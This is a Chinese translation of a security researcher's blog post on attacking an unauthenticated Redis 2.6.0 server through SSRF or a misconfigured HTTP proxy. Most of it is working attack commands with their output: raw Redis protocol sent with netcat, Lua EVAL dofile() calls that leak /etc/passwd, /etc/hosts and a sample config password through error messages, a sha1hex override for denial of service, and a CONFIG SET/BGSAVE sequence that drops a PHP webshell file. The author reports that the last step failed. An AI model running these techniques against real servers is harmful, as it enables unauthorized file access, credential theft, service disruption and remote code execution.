通过http请求入侵redis

环境

想象一下,可以通过HTTP请求访问Redis服务器。这可能是SSRF漏洞或错误配置的代理。在这两种情况下,所需要的只是完全控制请求的至少一行。当然,CLI客户端’redisi-CLI’不支持HTTP代理,需要自己伪造命令,封装在有效的HTTP请求中,并通过代理发送。所有内容都在2.6.0版本下进行了测试。它很旧,但目标用的就是它……

redis 101

Redis是NoSQL数据库,它以键/值对的形式存储在RAM中。默认情况下,可以在TCP/6379端口上访问面向文本的接口,而不需要身份验证。现在需要知道的是接口是非常宽容的,它会尝试解析每个提供的输入(直到超时或’QUIT’命令)。它可能只会通过像“-ERR unknown command”这样的消息表达。

目标识别

当利用SSRF漏洞或错误配置的代理时,第一个任务通常是扫描已知的服务。作为攻击者,只使用基于源的身份验证或仅仅是不安全的服务来寻找绑定到环回的服务,“因为它们从外部无法访问”。很高兴在日志中看到这些字符串:

1
2
3
4
5
6
7
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

正如看到的,HTTP动词’GET’也是一个有效的Redis命令,但参数的数量不匹配。如果没有HTTP报头匹配现有Redis命令,则会出现大量“未知命令”错误消息。

基本交互

在我的环境中,请求几乎完全由自己控制,然后通过Squid代理发出。这意味着

1)HTTP请求必须是有效的,以便被代理处理

2)到达Redis数据库的最终请求可能会被代理规范化。最简单的方法是使用POST主体,但注入到HTTP头中也是一个有效的选择。

现在,只发送一些基本的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ECHO HELLO
$5
HELLO

TIME
*2
$10
1410273409
$6
380112

CONFIG GET pidfile
*2
$7
pidfile
$18
/var/run/redis.pid

SET my_key my_value
+OK

GET my_key
$8
my_value

QUIT
+OK

需要空格

可能已经注意到,服务器用预期的数据以及一些字符串(如“*2”和“$7”)进行响应。这是二进制安全版本的Redis协议,如果想使用包含空格的参数,它是必需的。例如,命令’SET my key “foo bar”将永远不会工作,带或不带单引号/双引号。幸运的是,二进制安全版本非常简单:

  • 所有内容都用新行分隔(这里是CRLF)
  • 命令以“”开头,参数个数(“1” + CRLF)
  • 然后有论点,一个接一个:
    • string: ‘$’字符 + 字符串大小(“$4” + CRLF) + 字符串值(“TIME” + CRLF)
    • integer: ‘:’字符 + ASCII中的整数(“:42” + CRLF)
  • 就这些!

现在看一个例子,比较CLI客户端和古老的’netcat’:

1
2
$ redis-cli -h 127.0.0.1 -p 6379 set with_space 'I am boring'
+OK
1
2
$ echo '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 127.0.0.1 6379 
+OK

侦察

可以轻松地与服务器进行交互,那么就需要一个侦查阶段。一些Redis命令是有帮助的,如”INFO”和”CONFIG GET (dir|dbfilename|logfile|pidfile)”。这是输出的“INFO”在测试机器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Server
redis_version:2.6.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 3.2.0-61-generic-pae i686
arch_bits:32
multiplexing_api:epoll
gcc_version:4.6.3
process_id:19114
run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25
tcp_port:6379
uptime_in_seconds:9806
uptime_in_days:0
lru_clock:518932

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:1
blocked_clients:0

# Memory
used_memory:661768
[...]

下一步是文件系统。Redis可以通过“EVAL”命令执行Lua脚本(在沙箱中,稍后会详细介绍)。沙箱允许dofile()命令(为什么??)它可以用来枚举文件和目录。Redis不需要特殊的权限,所以请求/etc/shadow应该给出一个“permission denied”错误消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
EVAL dofile('/etc/passwd') 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':'

EVAL dofile('/etc/shadow') 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied

EVAL dofile('/var/www/') 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory

EVAL dofile('/var/www/tmp_upload/') 0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory

EVAL dofile('/home/ubuntu/.bashrc') 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

如果Lua脚本语法无效或试图设置全局变量,错误消息将泄漏目标文件的一些内容:

1
2
3
4
5
6
7
8
EVAL dofile('/etc/issue') 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'

EVAL dofile('/etc/lsb-release') 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL dofile('/etc/hosts') 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'

另一种情况(可能不太常见)是在有效的Lua文件上调用dofile(),并返回在那里定义的变量。这是一个假设文件/var/data/app/db.conf:

1
2
3
4
db = {
login = 'john.doe',
passwd = 'Uber31337',
}

和一个小Lua脚本转储密码:

1
2
EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0 
+OK Uber31337

也适用于一些标准的Unix文件:

1
2
3
4
5
EVAL dofile('/etc/environment');return(PATH); 0       
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

EVAL dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR); 0
+OK /usr/bin/nano

cpu盗窃

Redis提供了Redis.sha1hex(),可以从Lua脚本调用它。所以可以使用SHA-1破解来打开Redis服务器。@adam_baldwin的代码在redis-sha-crack上,幻灯片在Slideshare上。

dos

有很多方法来DoS一个开放的Redis实例,从删除数据到调用关闭命令。然而,这里有两个有趣的例子:

  • 不带任何参数调用dofile()将从STDIN读取Lua脚本,这是Redis控制台。因此,服务器仍在运行,但不会处理新连接,直到在控制台中命中“^D”(或重新启动)

  • sha1hex()可以被覆盖(每个客户端)使用静态值是一种选择

Lua脚本:

1
2
3
4
5
print(redis.sha1hex('secret'))
function redis.sha1hex (x)
print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))

在redis控制台上

1
2
3
4
5
6
7
# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242

数据盗窃

如果Redis服务器碰巧存储了有趣的数据(如会话cookie或业务数据),可以使用key枚举存储的对,然后使用GET读取它们的值。

加密

Lua脚本使用完全可预测的“随机”数字!在scripting.c的evalGenericCommand()中获取详细信息:

1
2
3
/* We want the same PRNG sequence at every call so that our PRNG is not affected by external state. */

redisSrand48(0);

每个调用math.random()的Lua脚本都会得到相同的数字流:

1
2
3
4
5
6
0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

RCE

为了在开放的Redis服务器上执行远程代码,考虑了三种情况。

第一个(经过验证但非常复杂)与字节码修改和内部VM机器的滥用有关。不是我菜,我不是二元对立的人。

第二种是逃避全局保护并尝试访问有趣的函数(比如在类似ctf的Python转义期间)。逃避全局保护是很简单的(并记录在StackOverflow上!)但是,没有加载任何有趣的模块,或者我的Lua水平很糟糕(这是有可能的)。顺便说一下,这里有很多有趣的东西。

考虑第三个场景,简单而现实:

将一个半控制的文件转储到磁盘,例如在Web根目录下,并通过webshell获得RCE。或覆盖shell脚本。唯一的区别是目标文件名和payload,但是方法是相同的。需要注意的是,日志文件的位置在启动后无法修改。所以唯一的解决方案是数据库文件本身。如果足够注意的话,会惊讶地发现只有ram的数据库会写入磁盘。实际上,为了恢复的目的,数据库会不时地复制到磁盘上。备份取决于配置的阈值,或在调用BGSAVE命令时发生。

为了删除一个半受控的文件,需要采取以下操作:

  • 修改转储文件的位置
    1
    2
    CONFIG SET dir /var/www/uploads/
    CONFIG SET dbfilename sh.php
  • 在数据库中插入有效载荷
    1
    SET payload "could be php or shell or whatever"
  • 将数据库转储到磁盘
    1
    BGSAVE
  • 恢复一切
    1
    2
    3
    DEL payload
    CONFIG SET dir /var/redis/
    CONFIG SET dbfilename dump.rdb

最后,非常的失败。Redis将转储文件的模式设置为“0600”(又名“-rw——-”)。Apache无法读取 :-(

结尾部分

即使不能在这台服务器上执行自己的代码,研究Redis还是很有趣的。学到了一些技巧,也许下周或以后会有用,谁知道呢。最后,感谢在Redis安全方面发表文章的人:Francis Alexander, Peter Cawley 和 Adam Baldwin。以及Facebook安全团队,他们为一个错误配置的代理(Redis实例运行在“noc.parse.com”上)奖励2万美元。

翻译自(尊重原作者,略有修改)

  • Trying to hack Redis via HTTP requests